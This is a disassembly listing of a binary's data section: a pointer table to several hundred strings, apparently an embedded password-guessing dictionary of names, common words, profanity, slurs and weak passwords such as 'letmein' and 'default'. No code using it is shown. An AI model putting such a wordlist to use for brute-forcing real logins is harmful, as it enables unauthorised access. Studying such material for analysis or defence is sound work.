dd offset a00 ; "00"
dd offset aDeath ; "death"
dd offset aTesting ; "testing"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset aAcademia ; "academia"
dd offset aAcademic ; "academic"
dd offset aAccept ; "accept"
dd offset aAccount ; "account"
dd offset aAction ; "action"
dd offset aAdam ; "adam"
dd offset aAdrian ; "adrian"
dd offset aAdrianna ; "adrianna"
dd offset aAdult ; "adult"
dd offset aAerobics ; "aerobics"
dd offset aAids ; "aids"
dd offset aAirplane ; "airplane"
dd offset aAlaska ; "alaska"
dd offset aAlbany ; "albany"
dd offset aAlbatros ; "albatros"
dd offset aAlbert ; "albert"
dd offset aAlert ; "alert"
dd offset aAlex ; "alex"
dd offset aAlexande ; "alexande"
dd offset aAlgebra ; "algebra"
dd offset aAlias ; "alias"
dd offset aAliases ; "aliases"
dd offset aAlice ; "alice"
dd offset aAlicia ; "alicia"
dd offset aAlisa ; "alisa"
dd offset aAlison ; "alison"
dd offset aAllison ; "allison"
dd offset aAllow ; "allow"
dd offset aAlphabet ; "alphabet"
dd offset aAmadeus ; "amadeus"
dd offset aAmanda ; "amanda"
dd offset aAmber ; "amber"
dd offset aAmerica ; "america"
dd offset aAmorphou ; "amorphou"
dd offset aAnal ; "anal"
dd offset aAnalog ; "analog"
dd offset aAnarchis ; "anarchis"
dd offset aAnarchy ; "anarchy"
dd offset aAnchor ; "anchor"
dd offset aAndrea ; "andrea"
dd offset aAndroid ; "android"
dd offset aAndromac ; "andromac"
dd offset aAndy ; "andy"
dd offset aAnfo ; "anfo"
dd offset aAngela ; "angela"
dd offset aAngerine ; "angerine"
dd offset aAngie ; "angie"
dd offset aAnimal ; "animal"
dd offset aAnimals ; "animals"
dd offset aAnita ; "anita"
dd offset aAnna ; "anna"
dd offset aAnne ; "anne"
dd offset aAnnette ; "annette"
dd offset aAnon ; "anon"
dd offset aAnonymou ; "anonymou"
dd offset aAnswer ; "answer"
dd offset aAnthrax ; "anthrax"
dd offset aAnthropo ; "anthropo"
dd offset aAnvils ; "anvils"
dd offset aAnything ; "anything"
dd offset aApollo13 ; "apollo13"
dd offset aApril ; "april"
dd offset aAria ; "aria"
dd offset aAriadne ; "ariadne"
dd offset aArlene ; "arlene"
dd offset aArmy ; "army"
dd offset aArrow ; "arrow"
dd offset aArthur ; "arthur"
dd offset aArtist ; "artist"
dd offset aAsian ; "asian"
dd offset aAsshole ; "asshole"
dd offset aAthena ; "athena"
dd offset aAtmosphe ; "atmosphe"
dd offset aAtom ; "atom"
dd offset aAttack ; "attack"
dd offset aAuthoriz ; "authoriz"
dd offset aAztecs ; "aztecs"
dd offset aAzure ; "azure"
dd offset aBabe ; "babe"
dd offset aBaby ; "baby"
dd offset aBacchus ; "bacchus"
dd offset aBackdoor ; "backdoor"
dd offset aBadass ; "badass"
dd offset aBailey ; "bailey"
dd offset aBall ; "ball"
dd offset aBanana ; "banana"
dd offset aBananas ; "bananas"
dd offset aBandit ; "bandit"
dd offset aBank ; "bank"
dd offset aBanks ; "banks"
dd offset aBarbara ; "barbara"
dd offset aBarber ; "barber"
dd offset aBare ; "bare"
dd offset aBarf ; "barf"
dd offset aBaritone ; "baritone"
dd offset aBart ; "bart"
dd offset aBartman ; "bartman"
dd offset aBaseball ; "baseball"
dd offset aBasic ; "basic"
dd offset aBass ; "bass"
dd offset aBassoon ; "bassoon"
dd offset aBatch ; "batch"
dd offset aBatman ; "batman"
dd offset aBeach ; "beach"
dd offset aBeammeup ; "beammeup"
dd offset aBear ; "bear"
dd offset aBeast ; "beast"
dd offset aBeater ; "beater"
dd offset aBeauty ; "beauty"
dd offset aBeaver ; "beaver"
dd offset aBecky ; "becky"
dd offset aBeethove ; "beethove"
dd offset aBegin ; "begin"
dd offset aBehead ; "behead"
dd offset aBell ; "bell"
dd offset aBeloved ; "beloved"
dd offset aBenz ; "benz"
dd offset aBeowulf ; "beowulf"
dd offset aBerkeley ; "berkeley"
dd offset aBerlin ; "berlin"
dd offset aBerliner ; "berliner"
dd offset aBeryl ; "beryl"
dd offset aBeta ; "beta"
dd offset aBeth ; "beth"
dd offset aBetsie ; "betsie"
dd offset aBetty ; "betty"
dd offset aBeverly ; "beverly"
dd offset aBible ; "bible"
dd offset aBicamera ; "bicamera"
dd offset aBigfoot ; "bigfoot"
dd offset aBill ; "bill"
dd offset aBinary ; "binary"
dd offset aBios ; "bios"
dd offset aBird ; "bird"
dd offset aBishop ; "bishop"
dd offset aBitch ; "bitch"
dd offset aBitmap ; "bitmap"
dd offset aBitnet ; "bitnet"
dd offset aBlack ; "black"
dd offset aBlonde ; "blonde"
dd offset aBlondie ; "blondie"
dd offset aBlood ; "blood"
dd offset aBloodaxe ; "bloodaxe"
dd offset aBlow ; "blow"
dd offset aBlowjob ; "blowjob"
dd offset aBlue ; "blue"
dd offset aBlues ; "blues"
dd offset aBoard ; "board"
dd offset aBomb ; "bomb"
dd offset aBoner ; "boner"
dd offset aBoob ; "boob"
dd offset aBoobs ; "boobs"
dd offset aBook ; "book"
dd offset aBorn ; "born"
dd offset aBoyscout ; "boyscout"
dd offset aBradley ; "bradley"
dd offset aBrandi ; "brandi"
dd offset aBrandy ; "brandy"
dd offset aBravo ; "bravo"
dd offset aBreak ; "break"
dd offset aBreast ; "breast"
dd offset aBrenda ; "brenda"
dd offset aBrian ; "brian"
dd offset aBridget ; "bridget"
dd offset aBroadway ; "broadway"
dd offset aBrothel ; "brothel"
dd offset aBrunette ; "brunette"
dd offset aBrute ; "brute"
dd offset aBrutefor ; "brutefor"
dd offset aBulls ; "bulls"
dd offset aBullshit ; "bullshit"
dd offset aBumbling ; "bumbling"
dd offset aBung ; "bung"
dd offset aBurgess ; "burgess"
dd offset aBurn ; "burn"
dd offset aButch ; "butch"
dd offset aButt ; "butt"
dd offset aButthead ; "butthead"
dd offset aCaliforn ; "californ"
dd offset aCamille ; "camille"
dd offset aCampanil ; "campanil"
dd offset aCamping ; "camping"
dd offset aCandi ; "candi"
dd offset aCandy ; "candy"
dd offset aCantor ; "cantor"
dd offset aCaptain ; "captain"
dd offset aCapture ; "capture"
dd offset aCard ; "card"
dd offset aCardinal ; "cardinal"
dd offset aCaren ; "caren"
dd offset aCarla ; "carla"
dd offset aCarmen ; "carmen"
dd offset aCarol ; "carol"
dd offset aCarole ; "carole"
dd offset aCarolina ; "carolina"
dd offset aCaroline ; "caroline"
dd offset aCarrie ; "carrie"
dd offset aCarson ; "carson"
dd offset aCascades ; "cascades"
dd offset aCash ; "cash"
dd offset aCastle ; "castle"
dd offset aCatherin ; "catherin"
dd offset aCatholic ; "catholic"
dd offset aCathy ; "cathy"
dd offset aCave ; "cave"
dd offset aCayuga ; "cayuga"
dd offset aCecily ; "cecily"
dd offset aCelt ; "celt"
dd offset aCeltic ; "celtic"
dd offset aCeltics ; "celtics"
dd offset aCerulean ; "cerulean"
dd offset aChange ; "change"
dd offset aCharity ; "charity"
dd offset aCharles ; "charles"
dd offset aCharlie ; "charlie"
dd offset aCharming ; "charming"
dd offset aCharon ; "charon"
dd offset aChat_0 ; "chat"
dd offset aChem ; "chem"
dd offset aChemistr ; "chemistr"
dd offset aChess ; "chess"
dd offset aChester ; "chester"
dd offset aChip ; "chip"
dd offset aChris ; "chris"
dd offset aChristin ; "christin"
dd offset aChristy ; "christy"
dd offset aCigar ; "cigar"
dd offset aCigarett ; "cigarett"
dd offset aCindy ; "cindy"
dd offset aClass ; "class"
dd offset aClasses ; "classes"
dd offset aClassic ; "classic"
dd offset aClaudia ; "claudia"
dd offset aClaymore ; "claymore"
dd offset aCleavage ; "cleavage"
dd offset aClinton ; "clinton"
dd offset aCluster ; "cluster"
dd offset aClusters ; "clusters"
dd offset aCoast ; "coast"
dd offset aCocacola ; "cocacola"
dd offset aCocainco ; "cocainco"
dd offset aCock ; "cock"
dd offset aCode ; "code"
dd offset aCodename ; "codename"
dd offset aCodeword ; "codeword"
dd offset aCoffee ; "coffee"
dd offset aCoin ; "coin"
dd offset aCoke ; "coke"
dd offset aCola ; "cola"
dd offset aCold ; "cold"
dd offset aCollins ; "collins"
dd offset aColor ; "color"
dd offset aCombat ; "combat"
dd offset aComics ; "comics"
dd offset aCommit ; "commit"
dd offset aCommrade ; "commrade"
dd offset aCompany ; "company"
dd offset aComputin ; "computin"
dd offset aComrade ; "comrade"
dd offset aComrades ; "comrades"
dd offset aCondo ; "condo"
dd offset aCondom ; "condom"
dd offset aConnect ; "connect"
dd offset aConnie ; "connie"
dd offset aConserva ; "conserva"
dd offset aConsole ; "console"
dd offset aContinue ; "continue"
dd offset aCook ; "cook"
dd offset aCookbook ; "cookbook"
dd offset aCookie ; "cookie"
dd offset aCool_1 ; "cool"
dd offset aCooper ; "cooper"
dd offset aCopper ; "copper"
dd offset aCops ; "cops"
dd offset aCopy ; "copy"
dd offset aCorneliu ; "corneliu"
dd offset aCorrect ; "correct"
dd offset aCounters ; "counters"
dd offset aCountry ; "country"
dd offset aCouscous ; "couscous"
dd offset aCowboy ; "cowboy"
dd offset aCrack ; "crack"
dd offset aCrackpot ; "crackpot"
dd offset aCream ; "cream"
dd offset aCreate ; "create"
dd offset aCreation ; "creation"
dd offset aCreature ; "creature"
dd offset aCredit ; "credit"
dd offset aCreosote ; "creosote"
dd offset aCretin ; "cretin"
dd offset aCrime ; "crime"
dd offset aCriminal ; "criminal"
dd offset aCristina ; "cristina"
dd offset aCrystal ; "crystal"
dd offset aCshrc ; "cshrc"
dd offset aCunt ; "cunt"
dd offset aCustomer ; "customer"
dd offset aCyber ; "cyber"
dd offset aCyberpun ; "cyberpun"
dd offset aCyberspa ; "cyberspa"
dd offset aCynthia ; "cynthia"
dd offset aDaemon ; "daemon"
dd offset aDaisy ; "daisy"
dd offset aDana ; "dana"
dd offset aDancer ; "dancer"
dd offset aDaniel ; "daniel"
dd offset aDanielle ; "danielle"
dd offset aDanny ; "danny"
dd offset aDapper ; "dapper"
dd offset aDark ; "dark"
dd offset aDarkaven ; "darkaven"
dd offset aData ; "data"
dd offset aDave ; "dave"
dd offset aDawn ; "dawn"
dd offset aDead ; "dead"
dd offset aDeathsta ; "deathsta"
dd offset aDebbie ; "debbie"
dd offset aDeborah ; "deborah"
dd offset aDebug ; "debug"
dd offset aDecember ; "december"
dd offset aDeck ; "deck"
dd offset aDefault ; "default"
dd offset aDefault_0 ; "DEFAULT"
dd offset aDefoe ; "defoe"
dd offset aDelta ; "delta"
dd offset aDeluge ; "deluge"
dd offset aDemocrat ; "democrat"
dd offset aDenise ; "denise"
dd offset aDennis ; "dennis"
dd offset aDesiree ; "desiree"
dd offset aDesk ; "desk"
dd offset aDesktop ; "desktop"
dd offset aDesperat ; "desperat"
dd offset aDevelop ; "develop"
dd offset aDevice ; "device"
dd offset aDial ; "dial"
dd offset aDiamond ; "diamond"
dd offset aDiana ; "diana"
dd offset aDiane ; "diane"
dd offset aDice ; "dice"
dd offset aDick ; "dick"
dd offset aDiehard ; "diehard"
dd offset aDiet ; "diet"
dd offset aDieter ; "dieter"
dd offset aDigital ; "digital"
dd offset aDinosaur ; "dinosaur"
dd offset aDipshit ; "dipshit"
dd offset aDirect ; "direct"
dd offset aDirector ; "director"
dd offset aDirty ; "dirty"
dd offset aDisc ; "disc"
dd offset aDiscipli ; "discipli"
dd offset aDisclose ; "disclose"
dd offset aDiscover ; "discover"
dd offset aDisk_0 ; "disk"
dd offset aDiskette ; "diskette"
dd offset aDisney ; "disney"
dd offset aDisplay_0 ; "display"
dd offset aDoctor ; "doctor"
dd offset aDollar ; "dollar"
dd offset aDong ; "dong"
dd offset aDoom ; "doom"
dd offset aDoom2 ; "doom2"
dd offset aDoomii ; "doomii"
dd offset aDoomsday ; "doomsday"
dd offset aDoonesbu ; "doonesbu"
dd offset aDoor ; "door"
dd offset aDoors ; "doors"
dd offset aDope ; "dope"
dd offset aDownload ; "download"
dd offset aDragon ; "dragon"
dd offset aDrdoom ; "drdoom"
dd offset aDrive ; "drive"
dd offset aDrought ; "drought"
dd offset aDuck ; "duck"
dd offset aDude ; "dude"
dd offset aDuelist ; "duelist"
dd offset aDuke ; "duke"
dd offset aDulce ; "dulce"
dd offset aDuncan ; "duncan"
dd offset aDungeon ; "dungeon"
dd offset aDyke ; "dyke"
dd offset aEager ; "eager"
dd offset aEagle ; "eagle"
dd offset aEarth ; "earth"
dd offset aEasier ; "easier"
dd offset aEasy ; "easy"
dd offset aEatme ; "eatme"
dd offset aEcho ; "echo"
dd offset aEddie ; "eddie"
off_430050 dd offset aEdges ; DATA XREF: ___:00427B70o
; "edges"
dd offset aEdinburg ; "edinburg"
dd offset aEdit ; "edit"
off_43005C dd offset aEdition ; DATA XREF: ___:off_427A0Co
; "edition"
dd offset aEducation ; "education"
dd offset aEducatio ; "educatio"
dd offset aEdwin ; "edwin"
dd offset aEdwina ; "edwina"
dd offset aEgghead ; "egghead"
dd offset aEiderdow ; "eiderdow"
dd offset aEileen ; "eileen"
dd offset aEinsiein ; "einsiein"
dd offset aEinstein ; "einstein"
dd offset aElaine ; "elaine"
dd offset aElanor ; "elanor"
dd offset aElectron ; "electron"
dd offset aElephant ; "elephant"
dd offset aElizabet ; "elizabet"
dd offset aEllen ; "ellen"
dd offset aEmail ; "email"
dd offset aEmerald ; "emerald"
dd offset aEmily ; "emily"
dd offset aEmmanuel ; "emmanuel"
dd offset aEnemy ; "enemy"
dd offset aEngine ; "engine"
dd offset aEngineer ; "engineer"
dd offset aEngland ; "england"
dd offset aEnglish ; "english"
dd offset aEnter ; "enter"
dd offset aEnterpri ; "enterpri"
dd offset aEnzyme ; "enzyme"
dd offset aErenity ; "erenity"
dd offset aEric ; "eric"
dd offset aErica ; "erica"
dd offset aErika ; "erika"
dd offset aErin ; "erin"
dd offset aErotic ; "erotic"
dd offset aErsatz ; "ersatz"
dd offset aEstablis ; "establis"
dd offset aEstate ; "estate"
dd offset aEternity ; "eternity"
dd offset aEuclid ; "euclid"
dd offset aEvelyn ; "evelyn"
dd offset aExpert ; "expert"
dd offset aExplode ; "explode"
dd offset aExplore ; "explore"
dd offset aExplorer ; "explorer"
dd offset aExplosiv ; "explosiv"
dd offset aExtensio ; "extensio"
dd offset aFairway ; "fairway"
dd offset aFaith ; "faith"
dd offset aFalcon ; "falcon"
dd offset aFalse ; "false"
dd offset aFamily ; "family"
dd offset aFarad ; "farad"
dd offset aFaraday ; "faraday"
dd offset aFart ; "fart"
dd offset aFast ; "fast"
dd offset aFear ; "fear"
dd offset aFeds ; "feds"
dd offset aFelicia ; "felicia"
dd offset aFender ; "fender"
dd offset aFermat ; "fermat"
dd offset aFerrari ; "ferrari"
dd offset aFidelity ; "fidelity"
dd offset aField ; "field"
dd offset aFight ; "fight"
dd offset aFile ; "file"
dd offset aFinite ; "finite"
dd offset aFire ; "fire"
dd offset aFirewall ; "firewall"
dd offset aFishers ; "fishers"
dd offset aFlakes ; "flakes"
dd offset aFloat ; "float"
dd offset aFlorida ; "florida"
dd offset aFlower ; "flower"
dd offset aFlowers ; "flowers"
dd offset aFood ; "food"
dd offset aFool ; "fool"
dd offset aFoolproo ; "foolproo"
dd offset aFootball ; "football"
dd offset aForce ; "force"
dd offset aFord ; "ford"
dd offset aForesigh ; "foresigh"
dd offset aForever ; "forever"
dd offset aForm ; "form"
dd offset aFormat ; "format"
dd offset aFornicat ; "fornicat"
dd offset aForsythe ; "forsythe"
dd offset aFourier ; "fourier"
dd offset aFoxtrot ; "foxtrot"
dd offset aFrance ; "france"
dd offset aFrank ; "frank"
dd offset aFreak ; "freak"
dd offset aFred ; "fred"
dd offset aFree ; "free"
dd offset aFreedom ; "freedom"
dd offset aFrench ; "french"
dd offset aFriday ; "friday"
dd offset aFriend ; "friend"
dd offset aFriends ; "friends"
dd offset aFrighten ; "frighten"
dd offset aFrog ; "frog"
dd offset aFryguy ; "fryguy"
dd offset aFuck ; "fuck"
dd offset aFucker ; "fucker"
dd offset aFucking ; "fucking"
dd offset aFuckme ; "fuckme"
dd offset aFuckyou ; "fuckyou"
dd offset aFudge ; "fudge"
dd offset aFunction ; "function"
dd offset aFungible ; "fungible"
dd offset aGabriel ; "gabriel"
dd offset aGames ; "games"
dd offset aGardner ; "gardner"
dd offset aGarfield ; "garfield"
dd offset aGateway ; "gateway"
dd offset aGatherin ; "gatherin"
dd offset aGatt ; "gatt"
dd offset aGauss ; "gauss"
dd offset aGeorge ; "george"
dd offset aGerm ; "germ"
dd offset aGertrude ; "gertrude"
dd offset aGhost ; "ghost"
dd offset aGibson ; "gibson"
dd offset aGigabyte ; "gigabyte"
dd offset aGina ; "gina"
dd offset aGinger ; "ginger"
dd offset aGirl ; "girl"
dd offset aGlacier ; "glacier"
dd offset aGold ; "gold"
dd offset aGolden ; "golden"
dd offset aGolf ; "golf"
dd offset aGolfer ; "golfer"
dd offset aGood ; "good"
dd offset aGorgeous ; "gorgeous"
dd offset aGorges ; "gorges"
dd offset aGosling ; "gosling"
dd offset aGouge ; "gouge"
dd offset aGovermen ; "govermen"
dd offset aGrades ; "grades"
dd offset aGraham ; "graham"
dd offset aGrahm ; "grahm"
dd offset aGrand ; "grand"
dd offset aGrant ; "grant"
dd offset aGreat ; "great"
dd offset aGreen ; "green"
dd offset aGroup ; "group"
dd offset aGryphon ; "gryphon"
dd offset aGuardian ; "guardian"
dd offset aGucci ; "gucci"
dd offset aGuess ; "guess"
dd offset aGuitar ; "guitar"
dd offset aGumption ; "gumption"
dd offset aGuntis ; "guntis"
dd offset aHack ; "hack"
dd offset aHacked ; "hacked"
dd offset aHagar ; "hagar"
dd offset aHair ; "hair"
dd offset aHallowee ; "hallowee"
dd offset aHamlet ; "hamlet"
dd offset aHamster ; "hamster"
dd offset aHandel ; "handel"
dd offset aHandily ; "handily"
dd offset aHandjob ; "handjob"
dd offset aHappenin ; "happenin"
dd offset aHard ; "hard"
dd offset aHardcore ; "hardcore"
dd offset aHarddriv ; "harddriv"
dd offset aHarmony ; "harmony"
dd offset aHarold ; "harold"
dd offset aHarvey ; "harvey"
dd offset aHate ; "hate"
dd offset aHaven ; "haven"
dd offset aHawaii ; "hawaii"
dd offset aHead ; "head"
dd offset aHeadbang ; "headbang"
dd offset aHeat ; "heat"
dd offset aHeathen ; "heathen"
dd offset aHeather ; "heather"
dd offset aHebrides ; "hebrides"
dd offset aHeidi ; "heidi"
dd offset aHeinlein ; "heinlein"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aHelp ; "help"
dd offset aHerb ; "herb"
dd offset aHerbert ; "herbert"
dd offset aHero ; "hero"
dd offset aHeroin ; "heroin"
dd offset aHewlett ; "hewlett"
dd offset aHexadeci ; "hexadeci"
dd offset aHiawatha ; "hiawatha"
dd offset aHibernia ; "hibernia"
dd offset aHidden ; "hidden"
dd offset aHigh ; "high"
dd offset aHighland ; "highland"
dd offset aHitler ; "hitler"
dd offset aHits ; "hits"
dd offset aHole ; "hole"
dd offset aHolly ; "holly"
dd offset aHollywoo ; "hollywoo"
dd offset aHomepage ; "homepage"
dd offset aHomer ; "homer"
dd offset aHomework ; "homework"
dd offset aHoney ; "honey"
dd offset aHooker ; "hooker"
dd offset aHooters ; "hooters"
dd offset aHorny ; "horny"
dd offset aHorrible ; "horrible"
dd offset aHorror ; "horror"
dd offset aHorse ; "horse"
dd offset aHorus ; "horus"
dd offset aHost ; "host"
dd offset aHotdog ; "hotdog"
dd offset aHotel ; "hotel"
dd offset aHttp_0 ; "http"
dd offset aHunt ; "hunt"
dd offset aHunter ; "hunter"
dd offset aHutchins ; "hutchins"
dd offset aHydrogen ; "hydrogen"
dd offset aHyper ; "hyper"
dd offset aHypertxt ; "hypertxt"
dd offset aIcecream ; "icecream"
dd offset aIllumina ; "illumina"
dd offset aImage ; "image"
dd offset aImbrogli ; "imbrogli"
dd offset aImmortal ; "immortal"
dd offset aImperial ; "imperial"
dd offset aInclude ; "include"
dd offset aIndia ; "india"
dd offset aIndian ; "indian"
dd offset aIndiana ; "indiana"
dd offset aIndians ; "indians"
dd offset aIngres ; "ingres"
dd offset aIngress ; "ingress"
dd offset aIngrid ; "ingrid"
dd offset aInna ; "inna"
dd offset aInnocuou ; "innocuou"
dd offset aInput ; "input"
dd offset aInside ; "inside"
dd offset aInteger ; "integer"
dd offset aInvent ; "invent"
dd offset aIrene ; "irene"
dd offset aIrishman ; "irishman"
dd offset aIsis ; "isis"
dd offset aJackie ; "jackie"
dd offset aJail ; "jail"
dd offset aJane ; "jane"
dd offset aJanet ; "janet"
dd offset aJanice ; "janice"
dd offset aJanie ; "janie"
dd offset aJapan ; "japan"
dd offset aJasmin ; "jasmin"
dd offset aJava ; "java"
dd offset aJazz ; "jazz"
dd offset aJean ; "jean"
dd offset aJeanne ; "jeanne"
dd offset aJeff ; "jeff"
dd offset aJenni ; "jenni"
dd offset aJennifer ; "jennifer"
dd offset aJenny ; "jenny"
dd offset aJerry ; "jerry"
dd offset aJerusale ; "jerusale"
dd offset aJessica ; "jessica"
dd offset aJester ; "jester"
dd offset aJewelry ; "jewelry"
dd offset aJill ; "jill"
dd offset aJixian ; "jixian"
dd offset aJoanne ; "joanne"
dd offset aJody ; "jody"
dd offset aJohn ; "john"
dd offset aJohndoe ; "johndoe"
dd offset aJohnny ; "johnny"
dd offset aJoseph ; "joseph"
dd offset aJoshua ; "joshua"
dd offset aJournal ; "journal"
dd offset aJoyce ; "joyce"
dd offset aJudith ; "judith"
dd offset aJudy ; "judy"
dd offset aJuggle ; "juggle"
dd offset aJuicy ; "juicy"
dd offset aJulia ; "julia"
dd offset aJulie ; "julie"
dd offset aJuliet ; "juliet"
dd offset aJune ; "june"
dd offset aJupiter ; "jupiter"
dd offset aKaka ; "kaka"
dd offset aKaren ; "karen"
dd offset aKarie ; "karie"
dd offset aKarina ; "karina"
dd offset aKatana ; "katana"
dd offset aKate ; "kate"
dd offset aKathleen ; "kathleen"
dd offset aKathrine ; "kathrine"
dd offset aKathy ; "kathy"
dd offset aKatina ; "katina"
dd offset aKatrina ; "katrina"
dd offset aKelly ; "kelly"
dd offset aKeri ; "keri"
dd offset aKermit ; "kermit"
dd offset aKernel ; "kernel"
dd offset aKerri ; "kerri"
dd offset aKerrie ; "kerrie"
dd offset aKerry ; "kerry"
dd offset aKevin ; "kevin"
dd offset aKewl ; "kewl"
dd offset aKeybord ; "keybord"
dd offset aKeyin ; "keyin"
dd offset aKeyword ; "keyword"
dd offset aKids ; "kids"
dd offset aKill ; "kill"
dd offset aKillthem ; "killthem"
dd offset aKilo ; "kilo"
dd offset aKimberly ; "kimberly"
dd offset aKing ; "king"
dd offset aKirk ; "kirk"
dd offset aKirkland ; "kirkland"
dd offset aKiss ; "kiss"
dd offset aKissmyas ; "kissmyas"
dd offset aKitten ; "kitten"
dd offset aKlingon ; "klingon"
dd offset aKnife ; "knife"
dd offset aKnight ; "knight"
dd offset aKnightma ; "knightma"
dd offset aKnown ; "known"
dd offset aKrista ; "krista"
dd offset aKristen ; "kristen"
dd offset aKristi ; "kristi"
dd offset aKristie ; "kristie"
dd offset aKristin ; "kristin"
dd offset aKristine ; "kristine"
dd offset aKristy ; "kristy"
dd offset aLadies ; "ladies"
dd offset aLadle ; "ladle"
dd offset aLakers ; "lakers"
dd offset aLambda ; "lambda"
dd offset aLaminati ; "laminati"
dd offset aLana ; "lana"
dd offset aLaptop ; "laptop"
dd offset aLara ; "lara"
dd offset aLarkin ; "larkin"
dd offset aLarry ; "larry"
dd offset aLaser ; "laser"
dd offset aLaura ; "laura"
dd offset aLava ; "lava"
dd offset aLazarus ; "lazarus"
dd offset aLazer ; "lazer"
dd offset aLeah ; "leah"
dd offset aLebesgue ; "lebesgue"
dd offset aLeft ; "left"
dd offset aLeftwing ; "leftwing"
dd offset aLegal ; "legal"
dd offset aLeland ; "leland"
dd offset aLeroy ; "leroy"
dd offset aLesbian ; "lesbian"
dd offset aLeslie ; "leslie"
dd offset aLetmein ; "letmein"
dd offset aLewis ; "lewis"
dd offset aLexluthe ; "lexluthe"
dd offset aLiberal ; "liberal"
dd offset aLibrary ; "library"
dd offset aLick ; "lick"
dd offset aLicker ; "licker"
dd offset aLife ; "life"
dd offset aLight ; "light"
dd offset aLightsab ; "lightsab"
dd offset aLima ; "lima"
dd offset aLimbaugh ; "limbaugh"
dd offset aLimited ; "limited"
dd offset aLinda ; "linda"
dd offset aLink ; "link"
dd offset aLion ; "lion"
dd offset aLips ; "lips"
dd offset aLisa ; "lisa"
dd offset aLisp ; "lisp"
dd offset aLiteratu ; "literatu"
dd offset aLive ; "live"
dd offset aLoad ; "load"
dd offset aLock ; "lock"
dd offset aLockout ; "lockout"
dd offset aLockword ; "lockword"
dd offset aLogic ; "logic"
dd offset aLoginwor ; "loginwor"
dd offset aLogout ; "logout"
dd offset aLois ; "lois"
dd offset aLolopc ; "lolopc"
dd offset aLoose ; "loose"
dd offset aLore ; "lore"
dd offset aLori ; "lori"
dd offset aLorin ; "lorin"
dd offset aLorraine ; "lorraine"
dd offset aLoser ; "loser"
dd offset aLouis ; "louis"
dd offset aLovebug ; "lovebug"
dd offset aLover ; "lover"
dd offset aLuck ; "luck"
dd offset aLucus ; "lucus"
dd offset aLucy ; "lucy"
dd offset aLude ; "lude"
dd offset aLuke ; "luke"
dd offset aLust ; "lust"
dd offset aLynn ; "lynn"
dd offset aLynne ; "lynne"
dd offset aMachine ; "machine"
dd offset aMacintos ; "macintos"
dd offset aMack ; "mack"
dd offset aMacro ; "macro"
dd offset aMaggot ; "maggot"
dd offset aMagic ; "magic"
dd offset aMagnet ; "magnet"
dd offset aMail ; "mail"
dd offset aMaint ; "maint"
dd offset aMalcolm ; "malcolm"
dd offset aMalcom ; "malcom"
dd offset aMana ; "mana"
dd offset aManager ; "manager"
dd offset aMara ; "mara"
dd offset aMarci ; "marci"
dd offset aMarcy ; "marcy"
dd offset aMaria ; "maria"
dd offset aMariens ; "mariens"
dd offset aMarietta ; "marietta"
dd offset aMarijuan ; "marijuan"
dd offset aMarines ; "marines"
dd offset aMark ; "mark"
dd offset aMarkus ; "markus"
dd offset aMarni ; "marni"
dd offset aMarriage ; "marriage"
dd offset aMars ; "mars"
dd offset aMarty ; "marty"
dd offset aMarvin ; "marvin"
dd offset aMary ; "mary"
dd offset aMason ; "mason"
dd offset aMaster ; "master"
dd offset aMath ; "math"
dd offset aMaurice ; "maurice"
dd offset aMeagan ; "meagan"
dd offset aMegabyte ; "megabyte"
dd offset aMegadeth ; "megadeth"
dd offset aMegan ; "megan"
dd offset aMelissa ; "melissa"
dd offset aMellon ; "mellon"
dd offset aMelrose ; "melrose"
dd offset aMember ; "member"
dd offset aMemory ; "memory"
dd offset aMenace ; "menace"
dd offset aMenu ; "menu"
dd offset aMercury ; "mercury"
dd offset aMerlin ; "merlin"
dd offset aMetal ; "metal"
dd offset aMetalhea ; "metalhea"
dd offset aMetalica ; "metalica"
dd offset aMets ; "mets"
dd offset aMice ; "mice"
dd offset aMichael ; "michael"
dd offset aMichel ; "michel"
dd offset aMichelan ; "michelan"
dd offset aMichele ; "michele"
dd offset aMichelle ; "michelle"
dd offset aMickey ; "mickey"
dd offset aMicro ; "micro"
dd offset aMicrochi ; "microchi"
dd offset aMicropro ; "micropro"
dd offset aMicrosof ; "microsof"
dd offset aMidieval ; "midieval"
dd offset aMike ; "mike"
dd offset aMine ; "mine"
dd offset aMinimum ; "minimum"
dd offset aMinsky ; "minsky"
dd offset aMisfit ; "misfit"
dd offset aMission ; "mission"
dd offset aMkii ; "mkii"
dd offset aMode ; "mode"
dd offset aModem ; "modem"
dd offset aMogul ; "mogul"
dd offset aMoguls ; "moguls"
dd offset aMonday ; "monday"
dd offset aMonica ; "monica"
dd offset aMoom ; "moom"
dd offset aMoor ; "moor"
dd offset aMoose ; "moose"
dd offset aMore ; "more"
dd offset aMorley ; "morley"
dd offset aMorris ; "morris"
dd offset aMortal ; "mortal"
dd offset aMortalco ; "mortalco"
dd offset aMortgage ; "mortgage"
dd offset aMosaic ; "mosaic"
dd offset aMountain ; "mountain"
dd offset aMouse ; "mouse"
dd offset aMove ; "move"
dd offset aMovie ; "movie"
dd offset aMovies ; "movies"
dd offset aMozart ; "mozart"
dd offset aMpeg ; "mpeg"
dd offset aMsdos ; "msdos"
dd offset aMuppets ; "muppets"
dd offset aMutant ; "mutant"
dd offset aNagel ; "nagel"
dd offset aName ; "name"
dd offset aNancy ; "nancy"
dd offset aNapoleon ; "napoleon"
dd offset aNasa ; "nasa"
dd offset aNavy ; "navy"
dd offset aNepenthe ; "nepenthe"
dd offset aNeptune ; "neptune"
dd offset aNess ; "ness"
dd offset aNetscape ; "netscape"
dd offset aNetwork_0 ; "network"
dd offset aNewborn ; "newborn"
dd offset aNews ; "news"
dd offset aNewsgrou ; "newsgrou"
dd offset aNewton ; "newton"
dd offset aNewyork ; "newyork"
dd offset aNext ; "next"
dd offset aNice ; "nice"
dd offset aNicole ; "nicole"
dd offset aNicotine ; "nicotine"
dd offset aNight ; "night"
dd offset aNightmar ; "nightmar"
dd offset aNintendo ; "nintendo"
dd offset aNita ; "nita"
dd offset aNnaacp ; "nnaacp"
dd offset aNoble ; "noble"
dd offset aNobody ; "nobody"
dd offset aNode ; "node"
dd offset aNoreen ; "noreen"
dd offset aNotes ; "notes"
dd offset aNoth ; "noth"
dd offset aNova ; "nova"
dd offset aNovel ; "novel"
dd offset aNovember ; "november"
dd offset aNoxious ; "noxious"
dd offset aNuclear ; "nuclear"
dd offset aNude ; "nude"
dd offset aNuke ; "nuke"
dd offset aNukem ; "nukem"
dd offset aNull_1 ; "null"
dd offset aNumber ; "number"
dd offset aNutritio ; "nutritio"
dd offset aNuts ; "nuts"
dd offset aNyquist ; "nyquist"
